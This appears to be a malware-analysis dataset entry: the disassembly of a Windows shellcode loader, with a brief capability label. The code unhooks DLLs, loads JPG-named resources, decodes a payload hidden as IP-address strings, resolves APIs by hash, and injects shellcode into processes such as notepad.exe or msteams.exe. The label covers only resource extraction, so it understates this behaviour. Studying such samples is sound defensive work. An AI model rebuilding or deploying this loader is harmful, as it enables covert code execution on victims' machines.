Function at 0x40226e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xfc
mov dword [esp], 0
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov dword [esp], eax
call sym._srand
mov dword [esp], 0
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov dword [esp], eax
call sym._srand
mov dword [ebp - 0xcc], 0
mov dword [esp], 0x44
call sym.operator_new_unsigned_int_
mov esi, eax
mov ebx, esi
mov eax, 0
mov edx, 0x11
mov edi, ebx
mov ecx, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x34], esi
mov dword [esp], 0x10
call sym.operator_new_unsigned_int_
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [ebp - 0x38], eax
call sym.UnhookDll__
mov dword [esp + 8], str.MFUIUKS1_JPG
mov dword [esp + 4], 0x65
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_FindResourceA]
call eax
sub esp, 0xc
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_SizeofResource]
call eax
sub esp, 8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_LoadResource]
call eax
sub esp, 8
mov dword [ebp - 0x44], eax
mov ecx, 0x52ada8
lea eax, [ebp - 0xc5]
mov dword [ebp - 0xc4], eax
nop
nop
lea eax, [ebp - 0xd8]
lea edx, [ebp - 0xc5]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], str.232.192.213.0
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector_char_const_const__void__char_const_const__cha
sub esp, 0xc
lea eax, [ebp - 0xc5]
mov ecx, eax
call method.std::__new_allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.__new_allocator__
nop
lea eax, [ebp - 0xe4]
lea edx, [ebp - 0xd8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.ipAddressesToBytes_std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char________const_
lea eax, [ebp - 0xe4]
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xe4]
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x1c], 0
jmp 0x40240e
lea eax, [ebp - 0xe4]
mov edx, dword [ebp - 0x1c]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.operator___unsigned_int_
sub esp, 4
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x1c]
add edx, ecx
movzx eax, byte [eax]
mov byte [edx], al
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x48]
jb 0x4023e7
mov dword [esp], 0x4d718a
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x50]
add eax, edx
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
add eax, 0x18
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov edx, dword [eax + 0x60]
mov eax, dword [ebp - 0x50]
add eax, edx
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
mov edx, dword [eax + 0x1c]
mov eax, dword [ebp - 0x50]
add eax, edx
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x60]
mov edx, dword [eax + 0x20]
mov eax, dword [ebp - 0x50]
add eax, edx
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x60]
mov edx, dword [eax + 0x24]
mov eax, dword [ebp - 0x50]
add eax, edx
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x2c], 0
jmp 0x402585
mov eax, dword [ebp - 0x2c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x68]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x50]
add eax, edx
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
mov dword [esp], eax
call sym.hash_char_const_
cmp eax, 0x80fa57e1
sete al
test al, al
je 0x4024ff
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2c]
lea ecx, [eax + eax]
mov eax, dword [ebp - 0x6c]
add eax, ecx
movzx eax, word [eax]
movzx eax, ax
lea ecx, [eax*4]
mov eax, dword [ebp - 0x64]
add eax, ecx
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc0]
mov dword [esp], eax
call sym.hash_char_const_
cmp eax, 0xc7d73c9b
sete al
test al, al
je 0x402540
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2c]
lea ecx, [eax + eax]
mov eax, dword [ebp - 0x6c]
add eax, ecx
movzx eax, word [eax]
movzx eax, ax
lea ecx, [eax*4]
mov eax, dword [ebp - 0x64]
add eax, ecx
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc0]
mov dword [esp], eax
call sym.hash_char_const_
cmp eax, 0x50c272c4
sete al
test al, al
je 0x402581
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2c]
lea ecx, [eax + eax]
mov eax, dword [ebp - 0x6c]
add eax, ecx
movzx eax, word [eax]
movzx eax, ax
lea ecx, [eax*4]
mov eax, dword [ebp - 0x64]
add eax, ecx
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x28], eax
add dword [ebp - 0x2c], 1
mov eax, dword [ebp - 0x60]
mov eax, dword [eax + 0x18]
mov edx, dword [ebp - 0x2c]
cmp edx, eax
jb 0x4024a2
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov edx, dword [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
sub esp, 0x10
mov dword [ebp - 0x70], eax
mov dword [esp + 8], str.MFUIUKS23_JPG
mov dword [esp + 4], 0x66
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_FindResourceA]
call eax
sub esp, 0xc
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_SizeofResource]
call eax
sub esp, 8
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_LoadResource]
call eax
sub esp, 8
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov edx, dword [ebp - 0x78]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
sub esp, 0x10
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov edx, dword [ebp - 0x48]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
sub esp, 0x10
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0xe4]
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov edx, dword [ebp - 0x48]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x84]
mov dword [esp], eax
call sym._memcpy
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xa4], 0
mov dword [esp], str.PhoneExperienceHost.exe
call sym.FindTarget_char_const_
mov dword [ebp - 0x88], eax
mov dword [esp], str.msdtc.exe
call sym.FindTarget_char_const_
mov dword [ebp - 0x8c], eax
mov dword [esp], str.audiodg.exe
call sym.FindTarget_char_const_
mov dword [ebp - 0x90], eax
mov dword [esp], str.MSBuild.exe
call sym.FindTarget_char_const_
mov dword [ebp - 0x94], eax
mov dword [esp], str.msteams.exe
call sym.FindTarget_char_const_
mov dword [ebp - 0x98], eax
mov dword [esp], str.sihost.exe
call sym.FindTarget_char_const_
mov dword [ebp - 0x9c], eax
mov dword [esp], str.notepad.exe
call sym.FindTarget_char_const_
mov dword [ebp - 0xa0], eax
mov dword [esp + 8], str.MFUIUKS2_JPG
mov dword [esp + 4], 0x67
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_FindResourceA]
call eax
sub esp, 0xc
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_SizeofResource]
call eax
sub esp, 8
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xa8]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_LoadResource]
call eax
sub esp, 8
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov edx, dword [ebp - 0xac]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
sub esp, 0x10
mov dword [ebp - 0xb4], eax
lea eax, [ebp - 0xe4]
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov edx, dword [ebp - 0x48]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.InjectShellcode_unsigned_char_const__unsigned_long_
xor eax, 1
test al, al
je 0x402842
mov dword [esp + 4], str.Shellcode_injection_failed.
mov dword [esp], 0x4d6960
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
cmp dword [ebp - 0x88], 0
jne 0x402885
cmp dword [ebp - 0x8c], 0
jne 0x402885
cmp dword [ebp - 0x90], 0
jne 0x402885
cmp dword [ebp - 0x94], 0
jne 0x402885
cmp dword [ebp - 0x98], 0
jne 0x402885
cmp dword [ebp - 0x9c], 0
jne 0x402885
cmp dword [ebp - 0xa0], 0
je 0x402980
mov dword [ebp - 0x30], 0
cmp dword [ebp - 0x88], 0
je 0x4028a0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x30], eax
jmp 0x402916
cmp dword [ebp - 0x8c], 0
je 0x4028b4
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x30], eax
jmp 0x402916
cmp dword [ebp - 0x90], 0
je 0x4028c8
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x30], eax
jmp 0x402916
cmp dword [ebp - 0x94], 0
je 0x4028dc
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x30], eax
jmp 0x402916
cmp dword [ebp - 0x98], 0
je 0x4028f0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x30], eax
jmp 0x402916
cmp dword [ebp - 0x9c], 0
je 0x402904
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x30], eax
jmp 0x402916
cmp dword [ebp - 0xa0], 0
je 0x402916
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x43a
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
je 0x402a15
mov eax, dword [ebp - 0x48]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x84]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xa4]
mov dword [esp], eax
call sym.Inject_void__unsigned_char__unsigned_int_
mov eax, dword [ebp - 0xa4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
jmp 0x402a15
lea eax, [ebp - 0xcc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x84]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x402a16
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x84]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0x18
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0xffffffff
mov edx, dword [ebp - 0xbc]
mov dword [esp], edx
call eax
sub esp, 8
jmp 0x402a16
nop
mov ebx, 0
lea eax, [ebp - 0xe4]
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea eax, [ebp - 0xd8]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
mov eax, ebx
jmp 0x402a7d
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10